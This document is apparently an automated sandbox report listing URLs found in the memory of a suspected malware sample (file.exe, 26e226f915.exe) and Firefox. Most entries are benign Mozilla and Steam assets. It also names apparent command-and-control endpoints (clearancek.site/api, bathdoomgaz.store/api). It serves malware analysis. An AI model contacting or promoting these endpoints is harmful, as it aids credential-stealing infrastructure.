Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4040738/cookie_autodelete-3.8.2.xpi
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4040738/cookie_autodelete-3.8.2.xpifirefox-desktop
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4128570/languagetool-7.1.13.xpi
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4129240/privacy_badger17-2023.6.23.xpi
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4129240/privacy_badger17-2023.6.23.xpihttps://addo
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4134489/enhancer_for_youtube-2.0.119.1.xpi
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4141092/facebook_container-2.3.11.xpi
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/506/506646-64.png?modified=mcrushed
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/506/506646-64.png?modified=mcrushedmatch
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/700/700308-64.png?modified=4bc8e79f
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/708/708770-64.png?modified=4f881970
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/784/784287-64.png?modified=mcrushed
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/954/954390-64.png?modified=97d4c956
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/954/954390-64.png?modified=97d4c956https://addons.
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.orgADD_EXTENSION_BUTTON_PRIVACY_1
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B09000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3310993207.0000017084B06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3308589953.0000017084AE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3308589953.0000017084A77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3308589953.0000017084A41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: firefox.exe, 0000001B.00000002.3306081297.0000017084576000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3133141618.000001708BD30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: file.exe, 00000000.00000003.2134302834.0000000000A68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.slt
Source: file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8d
Source: file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dY
Source: 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8du
Source: 26e226f915.exe, 0000000D.00000003.3032933485.0000000001605000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bathdoomgaz.store:443/api
Source: file.exe, 00000000.00000003.2183850637.000000000573A000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3109202383.0000000005E22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3217655123.0000000005972000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219276546.0000000005972000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219501177.0000000005975000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000003.2183850637.000000000573A000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3109202383.0000000005E22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3217655123.0000000005972000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219276546.0000000005972000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219501177.0000000005975000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 26e226f915.exe, 0000000B.00000003.2901189210.000000000113D000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: file.exe, 00000000.00000003.2142391592.0000000000A9F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142550438.0000000000A9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdy
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3133141618.000001708BD30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3133141618.000001708BD30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3133141618.000001708BD30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3133141618.000001708BD30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: 26e226f915.exe, 0000000B.00000003.2901189210.000000000113D000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/
Source: file.exe, 00000000.00000003.2156705356.000000000577A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156839370.000000000577A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156632127.000000000577C000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3048821838.0000000005E2B000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3049132775.0000000005E2B000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3048636606.0000000005E2D000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3153468407.00000000059AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2156705356.000000000577A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156839370.000000000577A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156632127.000000000577C000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3048821838.0000000005E2B000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3049132775.0000000005E2B000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3048636606.0000000005E2D000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3153468407.00000000059AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2156705356.000000000577A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156839370.000000000577A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156632127.000000000577C000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3048821838.0000000005E2B000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3049132775.0000000005E2B000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3048636606.0000000005E2D000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3153468407.00000000059AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: file.exe, 00000000.00000003.2134302834.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142391592.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clearancek.site:443/api
Source: file.exe, 00000000.00000003.2134302834.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142391592.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clearancek.site:443/apiVi
Source: 26e226f915.exe, 0000000D.00000003.3166224749.000000000164B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.c0
Source: 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/
Source: 26e226f915.exe, 0000000D.00000003.3166224749.000000000164B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/c
Source: 26e226f915.exe, 26e226f915.exe, 0000000D.00000003.3166224749.000000000164B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/
Source: file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000002.2904278824.0000000001136000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=ljhW-PbGuX
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=pwVcIAtHNXwg&l=english&am
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032704846.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219630830.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3173301010.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3178327332.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3198150791.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3266928045.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK
Source: 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/fatalerror.css?v=wctRWaBvNt2z&l=e
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032704846.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219630830.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3173301010.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3178327332.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3198150791.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3266928045.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&l=engli
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1&
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en
Source: file.exe, 00000000.00000003.2134302834.0000000000A68000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142391592.0000000000A69000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: file.exe, 00000000.00000003.2134302834.0000000000A68000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901189210.0000000001137000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: 26e226f915.exe, 0000000B.00000002.2904278824.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/commun
Source: file.exe, 00000000.00000003.2134302834.0000000000A68000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901189210.0000000001137000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b
Source: file.exe, 00000000.00000003.2134302834.0000000000A68000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901189210.0000000001137000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=W9BX
Source: file.exe, 00000000.00000003.2134302834.0000000000A68000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032704846.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219630830.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3173301010.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3178327332.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3198150791.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3266928045.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=bOP7RorZq4_W&l=englis
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032704846.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219630830.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3173301010.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3178327332.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3198150791.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3266928045.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032704846.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3166224749.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=UuGFpt56D9L4&l=
